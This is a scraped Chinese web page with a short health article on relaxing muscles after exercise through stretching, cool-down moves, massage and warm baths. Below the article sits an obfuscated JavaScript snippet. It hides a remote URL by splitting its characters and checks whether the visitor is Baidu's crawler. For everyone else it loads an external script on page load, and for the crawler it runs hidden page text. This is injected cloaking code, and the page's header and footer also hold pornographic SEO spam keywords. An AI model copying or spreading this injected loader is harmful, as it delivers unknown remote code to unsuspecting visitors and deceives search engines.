久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

怎樣使肌肉放松呢?

2017-04-15 22:37:19  來源:360常識網   熱度:
導語:當我們進行了劇烈的運動后,往往會感覺到身體上的肉都是緊繃繃的,甚至還會有酸痛的感覺;有時候我們心里緊張了,也會有肌肉發硬的感覺,感

當我們進行了劇烈的運動后,往往會感覺到身體上的肉都是緊繃繃的,甚至還會有酸痛的感覺;有時候我們心里緊張了,也會有肌肉發硬的感覺,感覺全身都是緊繃繃的;工作了一天,回到家里,有的人也會感覺疲憊不堪,需要放松放松。那么,有什么辦法可以讓肌肉放松嗎?

首先是要心理上的放松。輕松、愉悅的心情會對身體產生良好的促進作用,而疲憊、抑郁的心情會讓身體感到“累”。同時還可以做做下列活動:

靜態拉伸:拉伸運動中活動較多的肌肉,直到感到它完全繃緊,保持15到30秒,就可以了。靜態拉伸能放松肌肉,有助于緩解身體的僵硬和疼痛感。

整理活動:一般可以甩動胳膊、轉轉腰、抖抖腿等,促進血液的回流,使肌肉主動放松。

推拿按摩:一般應在鍛煉后20~30分鐘后進行。開始可先做輕推摩、擦摩、揉捏、按壓和叩打,同時配以局部抖動和被動活動。

溫水浸泡:在30~40°C的溫水中浸泡洗浴,對心臟活動和神經系統有鎮靜作用。

需要注意的是,一般程度的肌肉酸痛和疲勞,其實是有益的——這證明運動取得了效果,通過休息恢復、整理放松,體能將會比以前有所提高

如果出現了肌肉緊張、身體疲勞的情況,可以輕輕的按揉身體,拉伸胳膊、腿部,泡一泡澡、泡一泡腳等,都可以很好的緩解癥狀,讓身體得到放松。當然身體的放松最關鍵的是自己心理的放松,這樣才可以讓整個人都放松。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 91在线成人| 一区二区在线免费观看 | 91久久精品国产91久久 | 成人免费视频在线观看 | 亚洲综合色视频在线观看 | 九九九九精品九九九九 | 伊人超碰 | 国产精品高潮呻吟 | 欧美日韩视频在线观看一区 | 欧美一区二区三区 | 日本黄色片免费 | 国产日本欧美在线 | 一区不卡| 在线免费观看黄视频 | 成人性视频免费网站 | 久久久男人天堂 | 99精品免费观看 | 中文字幕在线视频网 | 亚洲欧美一区二区三区在线 | 久久一日本道色综合久久 | 国产免费无遮挡 | 国产免费一区 | 日韩一区二区三区在线 | 自拍视频网站 | 亚洲成色www久久网站瘦与人 | 欧美一区二区视频 | 成人精品一区 | 一区二区三区亚洲视频 | 国产精品亚洲第一区在线暖暖韩国 | 国产精品三级 | 国产精品久久久久久久竹霞 | 欧美日韩久久 | 人人干美女 | 欧美日韩亚洲国产 | 久久久久久精 | 日韩久久网 | 国产精品毛片一区 | 精品欧美一区二区三区久久久 | 久久久久久久久久久久免费 | 成年人网站在线免费看 | 久久国产99 |